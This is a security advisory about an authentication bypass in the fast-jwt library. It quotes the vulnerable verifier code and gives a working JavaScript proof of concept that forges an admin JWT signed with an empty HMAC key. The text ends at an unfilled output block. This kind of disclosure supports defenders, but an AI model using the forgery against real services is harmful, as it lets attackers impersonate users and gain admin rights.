fast-jwt: JWT auth bypass due to empty HMAC secret accepted by async key resolver
Summary
A critical authentication-bypass vulnerability in fast-jwt's async key-resolver flow allows any unauthenticated attacker to forge arbitrary JWTs that are accepted as authentic. When the application's key resolver returns an empty string (''), for example via the common keys[decoded.header.kid] || '' JWKS-style fallback, fast-jwt converts it to a zero-length Buffer, hands it to crypto.createSecretKey, derives allowedAlgorithms = ['HS256','HS384','HS512'] from it, and then verifies the token's signature against an empty-key HMAC. The attacker simply computes HMAC-SHA256(key='', input='${header}.${payload}'), which Node accepts without complaint — and the verifier returns the attacker-chosen payload (sub, admin, scopes, etc.) as authentic. Reproducible 100% against the current latest release [email protected].
Preconditions
For this issue to occur the following MUST ALL be true:
1. The application developer (library consumer) uses an asynchronous callback function to set the key (e.g. createVerifier({key: async (decoded) => ... }))
2. The response from the async callback MUST return an empty string '' OR zero-length buffer (e.g. Buffer.alloc(0)). Any other empty/missing return values (e.g. null, undefined) do not trigger this issue
3. The library configuration must allow HMAC signatures. This is the default for the library.
4. The bad actor MUST have signed their token with an empty string. This is a trivial task and requires no special knowledge.
5. All other aspects of the token (e.g. EXP, IAT claims) MUST be valid. This issue ONLY affects signature checking and all other checks remain enforced.
Details
src/verifier.js prepareKeyOrSecret (lines 33-39):
```js
function prepareKeyOrSecret(key, isSecret) {
if (typeof key === 'string') {
key = Buffer.from(key, 'utf-8')
}
return isSecret ? createSecretKey(key) : createPublicKey(key) // ← no length check
}
```
src/verifier.js async key-resolver flow (lines 429-468):
```js
getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
...
if (typeof currentKey === 'string') {
currentKey = Buffer.from(currentKey, 'utf-8') // '' → Buffer.alloc(0)
} else if (!(currentKey instanceof Buffer)) {
return callback(... 'string or buffer'...)
}
try {
const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
// detectPublicKeyAlgorithms('') hits the !publicKeyPemMatch && !X509
// branch → returns hsAlgorithms = ['HS256','HS384','HS512']
if (validationContext.allowedAlgorithms.length) {
checkAreCompatibleAlgorithms(allowedAlgorithms, availableAlgorithms)
} else {
validationContext.allowedAlgorithms = availableAlgorithms // default empty → HMAC family assigned
}
currentKey = prepareKeyOrSecret(currentKey, availableAlgorithms[0] === hsAlgorithms[0])
// → createSecretKey(Buffer.alloc(0)) — Node accepts the empty secret silently
verifyToken(currentKey, decoded, validationContext)
}
})
```
src/crypto.js verifySignature (lines 286-291):
```js
if (type === 'HS') {
try {
return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
} catch { return false }
}
```
crypto.createHmac('sha256', emptyKey) works. The HMAC of ${header}.${payload} is fully attacker-computable. timingSafeEqual returns true. The verifier returns the attacker's payload as authentic.
The bug exists *only* on the function-typed key resolver path. The synchronous key: '' | undefined | null configuration is correctly rejected at createVerifier setup because if (key && keyType !== 'function') short-circuits on falsy keys, and verify then throws MISSING_KEY when a token with a signature arrives. In contrast, the async-resolver path does allow '' to flow through.
PoC
```js
// package.json: { "type": "module" }
// npm i fast-jwt
import { createVerifier } from 'fast-jwt'
import * as crypto from 'node:crypto'
function b64url(buf) {
return Buffer.from(buf).toString('base64')
.replace(/=+$/, '').replace(/\+/g, '-').replace(/\//g, '_')
}
// Forge a JWT signed with HMAC-SHA256 over an EMPTY key.
const header = b64url(JSON.stringify({ alg: 'HS256', typ: 'JWT', kid: 'unknown-kid' }))
const payload = b64url(JSON.stringify({
sub: 'attacker', admin: true,
iat: Math.floor(Date.now() / 1000),
exp: Math.floor(Date.now() / 1000) + 60
}))
const input = ${header}.${payload}
const signature = b64url(crypto.createHmac('sha256', '').update(input).digest())
const forgedToken = ${input}.${signature}
// Realistic JWKS-style verifier - looks up kid in a key map and falls back
// to '' when the kid is unknown (a widely-used JS idiom).
const verifier = createVerifier({
key: async (decoded) => ({ 'real-kid': '<real key>' }[decoded.header.kid] || '')
})
console.log(await verifier(forgedToken))
```
Output on [email protected]:
```
